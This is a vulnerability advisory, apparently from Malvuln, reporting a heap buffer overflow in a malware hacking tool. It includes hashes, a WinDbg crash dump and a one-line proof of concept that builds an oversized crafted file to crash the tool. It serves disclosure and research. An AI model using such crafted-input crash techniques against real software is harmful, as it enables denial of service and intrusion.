HackTool.Win32.Muzzer.a Buffer Overflow

HackTool.Win32.Muzzer.a malware suffers from a buffer overflow vulnerability.


MD5 | fa67bc52792db48da86fdf3cb927c5b9

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/c9291c93fce757a665352567ca13ec3f.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: HackTool.Win32.Muzzer.a
Vulnerability: Heap Based Buffer Overflow
Description: Processing a specially crafted ".exe", ".txt" file triggers a heap based buffer overflow. This results in overwriting ECX, EDX and AX (lower 16-bits) of the EAX register and corrupts memory located on the heap.
Type: PE32
MD5: c9291c93fce757a665352567ca13ec3f
Vuln ID: MVID-2022-0475
Dropped files:
ASLR: False
DEP: False
Safe SEH: False
Disclosure: 01/29/2022

Memory Dump:
(1f94.1548): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=41414141 esi=00000003 edi=00000003
eip=773ced3c esp=000df394 ebp=000df524 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h

0:000> .ecxr
eax=00004141 ebx=02433080 ecx=41414141 edx=41414141 esi=02433088 edi=001e0000
eip=773a2d6a esp=000dfcd0 ebp=000dfe90 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlpAllocateHeap+0x37a:
773a2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f
*** ERROR: Module load completed but symbols could not be loaded for HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f

FAULTING_IP:
ntdll!RtlpAllocateHeap+37a
773a2d6a 8b09 mov ecx,dword ptr [ecx]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 773a2d6a (ntdll!RtlpAllocateHeap+0x0000037a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME: HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 41414141

READ_ADDRESS: 41414141

FOLLOWUP_IP:
HackTool_Win32_Muzzer_a+1197
00401197 8bf8 mov edi,eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00001548

BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 773a16b7 to 773a2d6a

STACK_TEXT:
000dfe90 773a16b7 00010000 00010008 00000000 ntdll!RtlpAllocateHeap+0x37a
000dfee0 773a13ee 00100008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7
000dfefc 76750cd4 001e0000 00100008 00010000 ntdll!RtlAllocateHeap+0x3e
000dff4c 00401197 00000040 00010000 02423080 KERNELBASE!GlobalAlloc+0x64
WARNING: Stack unwind information not available. Following frames may be wrong.
000dff78 0040113d 00401022 76e38654 00344000 HackTool_Win32_Muzzer_a+0x1197
000dff7c 00401022 76e38654 00344000 76e38630 HackTool_Win32_Muzzer_a+0x113d
0040113d e3830040 cbbc0fef 2bcbb30f c8ab0fc0 HackTool_Win32_Muzzer_a+0x1022
00401141 cbbc0fef 2bcbb30f c8ab0fc0 00001ee8 0xe3830040
00401145 2bcbb30f c8ab0fc0 00001ee8 74db8500 0xcbbc0fef
00401149 c8ab0fc0 00001ee8 74db8500 55eaeb02 0x2bcbb30f
0040114d 00000000 74db8500 55eaeb02 000927e8 0xc8ab0fc0


STACK_COMMAND: !heap ; ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX: 4

SYMBOL_NAME: HackTool_Win32_Muzzer_a+1197

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: HackTool_Win32_Muzzer_a

IMAGE_NAME: HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141_c0000005_HackTool.Win32.Muzzer.a.c9291c93fce757a665352567ca13ec3f!Unknown

BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_HackTool_Win32_Muzzer_a+1197



Exploit/PoC:
python -c "print('MZ'+'A'*10000)" > HATE.exe

C:\dump>HackTool.Win32.Muzzer.a.exe HATE.exe
Muazzin tester - (c) Vecna 2000
■ Loading muazzin... Sucess.
■ Muazzin size: 72004
■ Memory alloc... Sucess.
■ Reading code... Sucess.
■ File format: Binary.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts